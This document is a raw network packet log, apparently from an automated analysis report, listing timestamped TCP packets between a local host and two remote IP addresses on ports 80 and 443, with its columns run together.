                                                                                                                                                                          Dec 23, 2024 08:40:10.088375092 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.089356899 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.089406967 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.089468002 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.090405941 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.090461016 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.090487957 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.091448069 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.091542006 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.091586113 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.093039989 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.093096972 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.093125105 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.093553066 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.093611002 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.093744993 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.094643116 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.094698906 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.094723940 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.095690012 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.095799923 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.095809937 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.096740007 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.096788883 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.096836090 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.097769976 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.097811937 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.097857952 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.098854065 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.098901033 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.098911047 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.099890947 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.099948883 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.099996090 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.100984097 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.101030111 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.101083040 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.102003098 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.102051020 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.102082014 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.103050947 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.103127956 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.103157997 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.104084969 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.104124069 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.104142904 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.105214119 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.105254889 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.105293036 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.106244087 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.106337070 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.106359959 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.107482910 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.107551098 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.107601881 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.108308077 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.108367920 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.108412027 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.109378099 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.109467983 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.109503031 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.110441923 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.110486031 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.110532999 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.111423016 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.111484051 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.111627102 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.112523079 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.112574100 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.112620115 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.113562107 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.113637924 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.113672972 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.114633083 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.114711046 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.114727020 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.115772963 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.115832090 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.115839005 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.116764069 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.116806984 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.116861105 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.117804050 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.117858887 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.117882013 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.118815899 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.118872881 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.118927002 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.120063066 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.120105982 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.120145082 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.120954990 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.121015072 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.121061087 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.121978045 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.122143984 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.122191906 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.123044968 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.123151064 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.124082088 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.124115944 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.124136925 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.124304056 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.125175953 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.125257015 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.125307083 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.126261950 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.126380920 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.126439095 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.127329111 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.127387047 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.127423048 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.128317118 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.128437042 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.128447056 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.129307985 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.129358053 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.240820885 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:11.020633936 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.021460056 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.021480083 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.021857977 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.021871090 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.021914959 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.021935940 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.022226095 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.022583961 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.023783922 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.023848057 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.023958921 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.023974895 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.082863092 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.714760065 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.714816093 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.715118885 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.715131998 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.729007006 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.729084015 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.729100943 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.738634109 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.738698006 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.738713980 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.750169992 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.750247002 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.750273943 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.758223057 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:11.763741016 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.763789892 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.763824940 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.831089020 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.831161022 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.831212044 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.831238985 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.831413031 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.835274935 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.843648911 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.843703985 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.843718052 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.877655983 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.877731085 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:11.878057957 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:11.905889988 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.906136990 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.906150103 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.916626930 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.916910887 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.916927099 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.924740076 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.924829960 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.924838066 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.937634945 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.937712908 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.937725067 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.951340914 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.951436996 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.951443911 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.965018034 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.965095043 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.965107918 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.977616072 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.977925062 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.977931023 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.991061926 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.991173029 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:11.991185904 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.997519970 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.004836082 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.004914045 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.004924059 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.017648935 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.017733097 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.017743111 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.029632092 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.029706001 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.029728889 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.041412115 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.041484118 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.041492939 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.053549051 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.053617001 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.053626060 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.065309048 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.065514088 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.065531969 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.090481997 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.090533972 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.090559959 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.093568087 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.093643904 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.093667984 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.101222038 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.101422071 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.101433992 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.109222889 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.109293938 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.109313011 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.116887093 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.116964102 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.116971016 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.124480963 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.124538898 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.124556065 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.132101059 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.132302999 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.132320881 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.139643908 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.139691114 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.139715910 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.147371054 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.147953987 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.147964954 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.154916048 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.154978037 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.154985905 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.162508011 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.162589073 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.162599087 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.170703888 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.174316883 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.174326897 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.177746058 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.177927017 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.177946091 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.185323000 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.185374975 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.185381889 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.192930937 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.192997932 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.193006039 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.200514078 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.200573921 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.200583935 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.208149910 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.208203077 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.208220005 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.216442108 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.216515064 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.216521978 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.223298073 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.223365068 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.223381042 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.231468916 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.231570959 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.231592894 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.243288040 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.243350029 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.243372917 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.246557951 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.246640921 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.246649981 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.253010988 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.253093004 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.253103018 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.260266066 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.260329962 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.260340929 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.266920090 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.267096043 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.267107010 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.280333996 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.280369043 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.280430079 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.280443907 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.280668974 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.281801939 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.285312891 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.285376072 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.285382986 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.285403013 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.285811901 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.290353060 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.294936895 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.295011997 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.295034885 CET49803443192.168.2.9172.217.17.65
